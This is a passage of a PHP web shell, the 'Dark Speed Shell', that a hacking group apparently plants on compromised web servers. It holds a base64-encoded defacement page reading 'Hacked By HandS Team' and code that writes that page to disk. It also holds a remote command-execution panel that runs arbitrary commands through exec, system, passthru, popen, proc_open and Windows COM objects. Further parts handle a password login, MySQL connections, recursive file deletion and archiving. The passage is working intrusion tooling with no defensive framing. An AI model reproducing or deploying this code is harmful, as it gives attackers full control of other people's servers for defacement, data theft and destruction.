TJ8fGUud2hpY2g9PTMpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KfQppZiAoZG9jdW1lbnQubGF5ZXJzKXsKZG9jdW1lbnQuY2FwdHVyZUV2ZW50cyhFdmVudC5NT1VTRURPV04pOwpkb2N1bWVudC5vbm1vdXNlZG93bj1jbGlja05TNDsKfQplbHNlIGlmIChkb2N1bWVudC5hbGwmJiFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCl7CmRvY3VtZW50Lm9ubW91c2Vkb3duPWNsaWNrSUU0Owp9CmRvY3VtZW50Lm9uY29udGV4dG1lbnU9bmV3IEZ1bmN0aW9uKCJhbGVydChtZXNzYWdlKTtyZXR1cm4gZmFsc2UiKQo8L3NjcmlwdD4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CnZhciByZXYgPSAiZndkIjsKZnVuY3Rpb24gdGl0bGViYXIodmFsKQp7CnZhciBtc2cgPSAiISEhIEhhY2tlZCBCeSBIYW5kUyBUZWFtICI7CnZhciByZXMgPSAiICI7CnZhciBzcGVlZCA9IDEwMDsKdmFyIHBvcyA9IHZhbDsKbXNnID0gIn4+ICIrbXNnKyIgPH4iOwp2YXIgbGUgPSBtc2cubGVuZ3RoOwppZihyZXYgPT0gImZ3ZCIpewppZihwb3MgPCBsZSl7CnBvcyA9IHBvcysxOwpzY3JvbGwgPSBtc2cuc3Vic3RyKDAscG9zKTsKZG9jdW1lbnQudGl0bGUgPSBzY3JvbGw7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KZWxzZXsKcmV2ID0gImJ3ZCI7CnRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7Cn0KfQplbHNlewppZihwb3MgPiAwKXsKcG9zID0gcG9zLTE7CnZhciBhbGUgPSBsZS1wb3M7CnNjcm9sID0gbXNnLnN1YnN0cihhbGUsbGUpOwpkb2N1bWVudC50aXRsZSA9IHNjcm9sOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9CmVsc2V7CnJldiA9ICJmd2QiOwp0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOwp9Cn0KfQp0aXRsZWJhcigwKTsKPC9zY3JpcHQ+Cjxib2R5IG9ua2V5ZG93bj0ncmV0dXJuIGZhbHNlOyc+CiAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50Ij4KICAgICAgICAgICAgPCEtLSBUaGUgYWN0aXZhdG9yIC0tPgogICAgICAgICAgICA8YSBjbGFzcz0iYWN0aXZhdG9yIiBpZD0iYWN0aXZhdG9yIj48L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBUaGUgb3ZlcmxheSBhbmQgdGhlIGJveCAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJvdmVybGF5IiBpZD0ib3ZlcmxheSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImJveCIgaWQ9ImJveCI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJib3hjbG9zZSIgaWQ9ImJveGNsb3NlIj48L2E+CiAgICAgICAgICAgIDxoMT5DaMO6IMO9ISEhPC9oMT4gICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFhpbiBDaCYjMjI0O28gYWRtaW4sIEImIzc4NDM7byBNJiM3ODUzO3QgUXUmIzIyNTsgSyYjMjMzO20sc2l0ZSBEJiMyMzc7bmggTCYjNzg5NTtpIEZpeCBMJiM3ODk1O2kgTiYjNzg3MTt1IEImIzc4NDE7biBNdSYjNzg4OTtuIFQmIzc4OTE7biBUJiM3ODQxO2kgOikpLiAhCiAgICAgICAgICAgICAgICA8YnIvPiAgICAgICAgICAgICAgICA8YnIvPgogICAgICAgICAgICAgICAgSyYjMjUzOyBUw6puOiAhISE8YnI+CgkJCQlObyBTdXBwb3J0ICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgICAgIDwhLS0gVGhlIEphdmFTY3JpcHQgLS0+CiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL3R5bXBhbnVzLm5ldC9UdXRvcmlhbHMvQ1NTT3ZlcmxheS9qcXVlcnktMS4zLjIuanMiPjwvc2NyaXB0PiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgICAkKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgJCgnI2FjdGl2YXRvcicpLmNsaWNrKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgJCgnI292ZXJsYXknKS5mYWRlSW4oJ2Zhc3QnLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonMTYwcHgnfSw1MDApOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAkKCcjYm94Y2xvc2UnKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgICAgICQoJyNib3gnKS5hbmltYXRlKHsndG9wJzonLTIwMHB4J30sNTAwLGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgICAgICQoJyNvdmVybGF5JykuZmFkZU91dCgnZmFzdCcpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIDwvc2NyaXB0Pgo8IS0tc2hvdyB0aGUgc25vdy0tPgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KaWYgICgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpICYmIAp3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lciB8fCB3aW5kb3cuYXR0YWNoRXZlbnQpewooZnVuY3Rpb24oKXsKLy9Db25maWd1cmUgaGVyZS4KdmFyIG51bSA9IDMwOyAgIC8vTnVtYmVyIG9mIGZsYWtlcwp2YXIgdGltZXIgPSAzMDsgLy9zZXRUaW1lb3V0IHNwZWVkLiBWYXJpZXMgb24gZGlmZmVyZW50IGNvbXBzCnZhciBlbmFibGVpbk5TNiA9IDEgLy9FbmFibGUgc2NyaXB0IGluIE5TNi9Nb3ppbGxhPyBTbm93IGFuaW1hdGlvbiBjb3VsZCBiZSBzbG93IGluIHRob3NlIGJyb3dzZXJzLiAoMT15ZXMsIDA9bm8pLgovL0VuZC4KdmFyIHkgPSBbXTsKdmFyIHggPSBbXTsKdmFyIGZhbGwgPSBbXTsKdmFyIHRoZUZsYWtlcyA9IFtdOwp2YXIgc2ZzID0gW107CnZhciBzdGVwID0gW107CnZhciBjdXJyU3RlcCA9IFtdOwp2YXIgaCx3LHI7CnZhciBkID0gZG9jdW1lbnQ7CnZhciBwaXggPSAicHgiOwp2YXIgZG9tV3cgPSAodHlwZW9mIHdpbmRvdy5pbm5lcldpZHRoID09ICJudW1iZXIiKTsKdmFyIGRvbVN5ID0gKHR5cGVvZiB3aW5kb3cucGFnZVlPZmZzZXQgPT0gIm51bWJlciIpOwp2YXIgaWR4ID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnZGl2JykubGVuZ3RoOwppZiAoZC5kb2N1bWVudEVsZW1lbnQuc3R5bGUgJiYgCnR5cGVvZiBkLmRvY3VtZW50RWxlbWVudC5zdHlsZS5Nb3pPcGFjaXR5ID09ICJzdHJpbmciKQpudW0gPSAxMjsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKc2ZzW2ldID0gTWF0aC5yb3VuZCgxICsgTWF0aC5yYW5kb20oKSAqIDEpOwpkb2N1bWVudC53cml0ZSgnPGRpdiBpZD0iZmxha2UnKyhpZHgraSkrJyIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3RvcDowcHg7bGVmdDowcHg7d2lkdGg6Jworc2ZzW2ldKydweDtoZWlnaHQ6JytzZnNbaV0rJ3B4O2JhY2tncm91bmQtY29sb3I6I2ZmZmZmZjtmb250LXNpemU6JytzZnNbaV0rJ3B4Ij48L2Rpdj4nKTsKY3VyclN0ZXBbaV0gPSAwOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KaWYgKGRvbVd3KSByID0gd2luZG93OwplbHNleyAKICBpZiAoZC5kb2N1bWVudEVsZW1lbnQgJiYgCiAgdHlwZW9mIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoID09ICJudW1iZXIiICYmIAogIGQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoICE9IDApCiAgciA9IGQuZG9jdW1lbnRFbGVtZW50OwogZWxzZXsgCiAgaWYgKGQuYm9keSAmJiAKICB0eXBlb2YgZC5ib2R5LmNsaWVudFdpZHRoID09ICJudW1iZXIiKQogIHIgPSBkLmJvZHk7CiB9Cn0KZnVuY3Rpb24gd2luc2l6ZSgpewp2YXIgb2gsc3ksb3csc3gscmgscnc7CmlmIChkb21Xdyl7CmlmIChkLmRvY3VtZW50RWxlbWVudCAmJiBkLmRlZmF1bHRWaWV3ICYmIAp0eXBlb2YgZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZID09ICJudW1iZXIiKXsKb2ggPSBkLmRvY3VtZW50RWxlbWVudC5vZmZzZXRIZWlnaHQ7CnN5ID0gZC5kZWZhdWx0Vmlldy5zY3JvbGxNYXhZOwpvdyA9IGQuZG9jdW1lbnRFbGVtZW50Lm9mZnNldFdpZHRoOwpzeCA9IGQuZGVmYXVsdFZpZXcuc2Nyb2xsTWF4WDsKcmggPSBvaC1zeTsKcncgPSBvdy1zeDsKfQplbHNlewpyaCA9IHIuaW5uZXJIZWlnaHQ7CnJ3ID0gci5pbm5lcldpZHRoOwp9CmggPSByaCAtIDI7ICAKdyA9IHJ3IC0gMjsgCn0KZWxzZXsKaCA9IHIuY2xpZW50SGVpZ2h0IC0gMjsgCncgPSByLmNsaWVudFdpZHRoIC0gMjsgCn0KfQpmdW5jdGlvbiBzY3JsKHl4KXsKdmFyIHkseDsKaWYgKGRvbVN5KXsKeSA9IHIucGFnZVlPZmZzZXQ7CnggPSByLnBhZ2VYT2Zmc2V0Owp9CmVsc2V7CnkgPSByLnNjcm9sbFRvcDsKeCA9IHIuc2Nyb2xsTGVmdDsKfQpyZXR1cm4gKHl4ID09IDApP3k6eDsKfQpmdW5jdGlvbiBzbm93KCl7CnZhciBkeSxkeDsKZm9yIChpID0gMDsgaSA8IG51bTsgaSsrKXsKZHkgPSBmYWxsW2ldOwpkeCA9IGZhbGxbaV0gKiBNYXRoLmNvcyhjdXJyU3RlcFtpXSk7CnlbaV0rPWR5Owp4W2ldKz1keDsgCmlmICh4W2ldID49IHcgfHwgeVtpXSA+PSBoKXsKeVtpXSA9IC0xMDsKeFtpXSA9IE1hdGgucm91bmQoTWF0aC5yYW5kb20oKSAqIHcpOwpmYWxsW2ldID0gKHNmc1tpXSA9PSAxKT8KTWF0aC5yb3VuZCgyICsgTWF0aC5yYW5kb20oKSAqIDIpOiBNYXRoLnJvdW5kKDMgKyBNYXRoLnJhbmRvbSgpICogMik7CnN0ZXBbaV0gPSAoc2ZzW2ldID09IDEpPwowLjA1ICsgTWF0aC5yYW5kb20oKSAqIDAuMSA6IDAuMDUgKyBNYXRoLnJhbmRvbSgpICogMC4wNSA7Cn0KdGhlRmxha2VzW2ldLnRvcCA9IHlbaV0gKyBzY3JsKDApICsgcGl4Owp0aGVGbGFrZXNbaV0ubGVmdCA9IHhbaV0gKyBzY3JsKDEpICsgcGl4OwpjdXJyU3RlcFtpXSs9c3RlcFtpXTsKfQpzZXRUaW1lb3V0KHNub3csdGltZXIpOwp9CmZ1bmN0aW9uIGluaXQoKXsKd2luc2l6ZSgpOwpmb3IgKGkgPSAwOyBpIDwgbnVtOyBpKyspewogdGhlRmxha2VzW2ldID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZsYWtlIisoaWR4K2kpKS5zdHlsZTsKIHlbaV0gPSBNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqaCk7CiB4W2ldID0gTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKncpOwp9CnNub3coKTsKfQppZiAod2luZG93LmFkZEV2ZW50TGlzdGVuZXIpewogd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoInJlc2l6ZSIsd2luc2l6ZSxmYWxzZSk7CiB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaW5pdCxmYWxzZSk7Cn0gIAplbHNlIGlmICh3aW5kb3cuYXR0YWNoRXZlbnQpewogd2luZG93LmF0dGFjaEV2ZW50KCJvbnJlc2l6ZSIsd2luc2l6ZSk7CiB3aW5kb3cuYXR0YWNoRXZlbnQoIm9ubG9hZCIsaW5pdCk7Cn0gCn0pKCk7Cn0vL0VkaXQgQnk6IE1hcmlvbjAwMQo8L3NjcmlwdD4KPGRpdiBpZD0id2FycCI+CjxkaXYgaWQ9InRpdGxlIj4KPGNlbnRlcj4KPGgxPi46OiBIYW5kUyBUZWFtIDo6LjwvaDE+CjxkaXYgaWQ9InN1YmhlYWRlciI+PHA+SGFuZFMgVGVhbSBIYWNrZXIgR3JvdXA8L3A+PC9kaXY+CjwvY2VudGVyPgo8Y2VudGVyPgo8ZGl2IGlkPSJjb250ZW50Ij4KPGRpdiBpZD0ibWFzYWdlIj4KPGNlbnRlcj4KPHA+U2FmZV9tb2RlOiA8Zm9udCBjb2xvcj0icmVkIj48Yj5PRkY8L2I+PC9mb250PgkKPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1zaGFkb3c6IDBweCAwcHggMHB4ICMxMTEsIDAgMCAwLjVlbSAjMzNmZjAwLCAwIDAgMC40ZW0gd2hpdGUiPjxjZW50ZXI+PGI+ISEhIEdyZXkgSGF0IEhhY2tlciBHcm91cHM8L2I+PC9jZW50ZXI+PC9mb250PjxiciAvPgo8L3A+CjwvZGl2Pgo8Y2VudGVyPjxmb250IGNvbG9yPSIjMDBGRjAwIiBzaXplPSI0cHgiPk1lbWJlciBUZWFtICEhITwvZm9udD48L2NlbnRlcj4gPDxtYXJxdWVlIGJlaGF2aW9yPSJzY3JvbGwiIGRpcmVjdGlvbj0ibGVmdCIgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSIyIiBzY3JvbGxkZWxheT0iOTAiIHdpZHRoPSI5MCUiPgo8Y2VudGVyPjxmb250IGNvbG9yPSIjQTZBNkE2IiBmYWNlPSJ2ZXJkYW5hIiBzaXplPSIyIj4KPHN0cm9uZz5DJiM0MTc7biBHacOzIC0gRHVjYWNlIFRyYW5nZWFzdCAtINW+1oXVtCDVvtaF1bQgLSBIY2UgQ3V0eU5oYW5naGVvIC0gTCYjMjI3O25nIFQmIzc5MTc7IEtpZHMgLSBOb2JsZSBIcCAtIEMmIzc4NDc7biBNJiM3ODk3O3QgQyYjMjI1O2kgVCYjMjM0O24gLSBOJiM3ODYzO2MgRGFuaCAtIEJhbmcgSHV5bmggLSBNYXJpb24wMDEgLSBWJiMzNjE7IFF1YW5nIE1pbmggLSBIdXkmIzc4NzM7biBUaG8mIzc4NDE7aSBDaCYjNDE3O2kgTiYjMjMzO3QgLSBJS2l6IC0gSGkmIzc4NzE7cCBIJiM3ODQxO20gLSBDJiMyMjQ7aSAtIFQmIzI0NDttIEgmIzI0OTttICYjMjcyOyYjNzg4NzsgLSBUaCYjMjI0O25oIFBoJiM3ODg5OyBDJiM3ODQ5O20gUGgmIzc4NDM7IC0gSEkmIzc4Nzk7cCBMJiMyMzQ7IC0gSG8mIzIyNDtuZyBUciYjMjM3OyAtIFQmIzIzNzsgTWF4IC0gUml2ZXIgV2luZCAtIE5ndXnDqm4gQXJ5IC0gS2V5eiBIYXhvciAtIEt1cm9iYSBLYWl0byAtIE5peCBBbmJ1IC0gU2NhciBQYXJhZGlzZSdzIC0gU2FpIC0gVGhlIFJ5Y2ggLSBWJiMzNjE7ICYjMjcyOyYjMjM2O25oIEtoJiMyNDQ7aSAtIEh5ZHJhIEhheG9yIC0gUXVheSBMJiM0MzI7bmcgLSBKYWNrIEZyb3N0IEthc3BlcnNreSBBbm9ucyAtIO+xnu+xniAtIE5nxrDhu51pIELDrG5oIFRoxrDhu51uZyAtIEgmIzIyNDtuaCBUaW5oIFhhbmggLSBOZ29uIE5oJiM3ODgxOyAtICYjMjcyOyYjMjI0O28gUXVhbmcgTWluaCAtIEMmIzc4NDc7biBDaGltIEMmIzc4NDM7bmggLSBCJiM3ODQxO2NoIEgmIzc4NDM7aSAmIzI3MjsmIzQzMjsmIzc5MDE7bmcgLSBBdHRhY2tlciBTbWlsZSAtIEJhbmcgSHV5bmggLSBIb2FuZyBMb25nIFZhbi4gQW5kIGFsbCBtZW1iZXIgSGFuZFMgVEVhbSEhITwvc3Ryb25nPjwvZm9udD48L2NlbnRlcj4KPC9tYXJxdWVlPgo8b2JqZWN0IHdpZHRoPSIwIiBoZWlnaHQ9IjAiPiAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0iaHR0cDovL3d3dy5uaGFjY3VhdHVpLmNvbS9tL2hTZzAyYVVXa3FMRCIgLz4gIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4gIDxwYXJhbSBuYW1lPSJ3bW9kZSIgdmFsdWU9InRyYW5zcGFyZW50IiAvPiAgPHBhcmFtIG5hbWU9ImFsbG93c2NyaXB0YWNjZXNzIiB2YWx1ZT0iYWx3YXlzIiAvPiA8cGFyYW0gbmFtZT0iYWxsb3dmdWxsc2NyZWVuIiB2YWx1ZT0idHJ1ZSIvPiA8cGFyYW0gbmFtZT0iZmxhc2h2YXJzIiB2YWx1ZT0iYXV0b3N0YXJ0PXRydWUiIC8+ICA8ZW1iZWQgc3JjPSJodHRwOi8vd3d3Lm5oYWNjdWF0dWkuY29tL20vaFNnMDJhVVdrcUxEIiBmbGFzaHZhcnM9InRhcmdldD1ibGFuayZhdXRvc3RhcnQ9dHJ1ZSIgYWxsb3dzY3JpcHRhY2Nlc3M9ImFsd2F5cyIgYWxsb3dmdWxsc2NyZWVuPSJ0cnVlIiBxdWFsaXR5PSJoaWdoIiB3bW9kZT0idHJhbnNwYXJlbnQiIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIj48L2VtYmVkPjwvb2JqZWN0Pgo8L2h0bWw+ '; $file = fopen("HandS-Team.html","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } if ($action == 'shell') { if (IS_WIN &&IS_COM) { if($program &&$parameter) { $shell= new COM('Shell.Application'); $a = $shell->ShellExecute($program,$parameter); m('Program run has '.(!$a ?'success': 'fail')); } !$program &&$program = 'c:\windows\system32\cmd.exe'; !$parameter &&$parameter = '/c net start > '.SA_ROOT.'log.txt'; formhead(array('title'=>'Execute Program')); makehide('action','shell'); makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); p('

'); makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); } formhead(array('title'=>'Execute Command')); makehide('action','shell'); if (IS_WIN &&IS_COM) { $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); } p('

'); makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); if ($command) { p('
');
if ($execfunc=='wscript'&&IS_WIN &&IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}elseif ($execfunc=='proc_open'&&IS_WIN &&IS_COM) {
$descriptorspec = array(
0 =>array('pipe','r'),
1 =>array('pipe','w'),
2 =>array('pipe','w')
);
$process = proc_open($_SERVER['COMSPEC'],$descriptorspec,$pipes);
if (is_resource($process)) {
fwrite($pipes[0],$command."\r\n");
fwrite($pipes[0],"exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1],1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2],1024);
}
fclose($pipes[2]);
proc_close($process);
}
}else {
echo(execute($command));
}
p('
'); } } ;echo '
';debuginfo();ob_end_flush();;echo ' Copyright @ 2014 .::[Dark Speed]::. Profile .::[EHG Team]::.
'; function m($msg) { echo '
'; echo $msg; echo '
'; } function scookie($key,$value,$life = 0,$prefix = 1) { global $admin,$timestamp,$_SERVER; $key = ($prefix ?$admin['cookiepre'] : '').$key; $life = $life ?$life : $admin['cookielife']; $useport = $_SERVER['SERVER_PORT'] == 443 ?1 : 0; setcookie($key,$value,$timestamp+$life,$admin['cookiepath'],$admin['cookiedomain'],$useport); } function multi($num,$perpage,$curpage,$tablename) { $multipage = ''; if($num >$perpage) { $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page >$pages) { $from = 1; $to = $pages; }else { $from = $curpage -$offset; $to = $curpage +$page -$offset -1; if($from <1) { $to = $curpage +1 -$from; $from = 1; if(($to -$from) <$page &&($to -$from) <$pages) { $to = $page; } }elseif($to >$pages) { $from = $curpage -$pages +$to; $to = $pages; if(($to -$from) <$page &&($to -$from) <$pages) { $from = $pages -$page +1; } } } $multipage = ($curpage -$offset >1 &&$pages >$page ?'First ': '').($curpage >1 ?'Prev ': ''); for($i = $from;$i <= $to;$i++) { $multipage .= $i == $curpage ?$i.' ': '['.$i.'] '; } $multipage .= ($curpage <$pages ?'Next': '').($to <$pages ?' Last': ''); $multipage = $multipage ?'

Pages: '.$multipage.'

': ''; } return $multipage; } function loginpage() { ;echo ' Dark Speed Shell

Shell Mod By: Dark Speed
==[ Dark Speed ]==

Viết Mật Khẩu:
'; echo "".$err_mess.""; ;echo ' Go To Facebook: .::[Dark Speed]::.
'; exit; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); }elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); }elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); }elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); }elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("which $pr"); return ($path ?$path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } function debuginfo() { global $starttime; $mtime = explode(' ',microtime()); $totaltime = number_format(($mtime[1] +$mtime[0] -$starttime),6); echo 'Xử Lý Trong '.$totaltime.' Giây(s)'; } function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { if(!$link = @mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpass)) { p('

Can not connect to MySQL server

'); exit; } if($link &&$dbname) { if (!@mysql_select_db($dbname,$link)) { p('

Database selected has error

'); exit; } } if($link &&mysql_get_server_info() >'4.1') { if(in_array(strtolower($charset),array('gbk','big5','utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;",$link); } } return $link; } function s_array(&$array) { if (is_array($array)) { foreach ($array as $k =>$v) { $array[$k] = s_array($v); } }else if (is_string($array)) { $array = stripslashes($array); } return $array; } function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n","
",$content); $content = str_replace(" ","  ",$content); $content = str_replace("\t","    ",$content); return $content; } function getChmod($filepath){ return substr(base_convert(@fileperms($filepath),10,8),-4); } function getPerms($filepath) { $mode = @fileperms($filepath); if (($mode &0xC000) === 0xC000) {$type = 's';} elseif (($mode &0x4000) === 0x4000) {$type = 'd';} elseif (($mode &0xA000) === 0xA000) {$type = 'l';} elseif (($mode &0x8000) === 0x8000) {$type = '-';} elseif (($mode &0x6000) === 0x6000) {$type = 'b';} elseif (($mode &0x2000) === 0x2000) {$type = 'c';} elseif (($mode &0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode &00400) ?'r': '-'; $owner['write'] = ($mode &00200) ?'w': '-'; $owner['execute'] = ($mode &00100) ?'x': '-'; $group['read'] = ($mode &00040) ?'r': '-'; $group['write'] = ($mode &00020) ?'w': '-'; $group['execute'] = ($mode &00010) ?'x': '-'; $world['read'] = ($mode &00004) ?'r': '-'; $world['write'] = ($mode &00002) ?'w': '-'; $world['execute'] = ($mode &00001) ?'x': '-'; if( $mode &0x800 ) {$owner['execute'] = ($owner['execute']=='x') ?'s': 'S';} if( $mode &0x400 ) {$group['execute'] = ($group['execute']=='x') ?'s': 'S';} if( $mode &0x200 ) {$world['execute'] = ($world['execute']=='x') ?'t': 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; } function getUser($filepath) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array &&is_array($array)) { return ' / '.$array['name'].''; } } return ''; } function deltree($deldir) { $mydir=@dir($deldir); while($file=$mydir->read()) { if((is_dir($deldir.'/'.$file)) &&($file!='.') &&($file!='..')) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if (is_file($deldir.'/'.$file)) { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ?1 : 0; } function bg() { global $bgc; return ($bgc++%2==0) ?'alt1': 'alt2'; } function getPath($scriptpath,$nowpath) { if ($nowpath == '.') { $nowpath = $scriptpath; } $nowpath = str_replace('\\','/',$nowpath); $nowpath = str_replace('//','/',$nowpath); if (substr($nowpath,-1) != '/') { $nowpath = $nowpath.'/'; } return $nowpath; } function getUpPath($nowpath) { $pathdb = explode('/',$nowpath); $num = count($pathdb); if ($num >2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/',$pathdb).'/'; $uppath = str_replace('//','/',$uppath); return $uppath; } function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; }elseif ($result == 1) { return 'Yes'; }else { return $result; } } function getfun($funName) { return (false !== function_exists($funName)) ?'Yes': 'No'; } function GetList($dir){ global $dirdata,$j,$nowpath; !$j &&$j=1; if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f=str_replace('//','/',$dir.'/'.$file); if($file!='.'&&$file!='..'&&is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']=str_replace($nowpath,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['dirlink']=ue($dir); $dirdata[$j]['server_link']=$f; $dirdata[$j]['client_link']=ue($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; }else { return array(); } } function qy($sql) { $res = $error = ''; if(!$res = @mysql_query($sql)) { return 0; }else if(is_resource($res)) { return 1; }else { return 2; } return 0; } function q($sql) { return @mysql_query($sql); } function fr($qy){ mysql_free_result($qy); } function sizecount($size) { if($size >1073741824) { $size = round($size / 1073741824 * 100) / 100 .' G'; }elseif($size >1048576) { $size = round($size / 1048576 * 100) / 100 .' M'; }elseif($size >1024) { $size = round($size / 1024 * 100) / 100 .' K'; }else { $size = $size .' B'; } return $size; } class PHPZip{ var $out=''; function PHPZip($dir) { if (@function_exists('gzcompress')) { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this ->GetFileList($dir); foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename,'r'); $content = @fread ($fd,filesize($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this ->addFile($content,$filename); } } $this->out = $this ->file(); chdir($curdir); } return 1; } else return 0; } function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while ($file = readdir($dh)) { if($file!='.'&&$file!='..'){ $f=$dir .'/'.$file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ?getdate() : getdate($unixtime); if 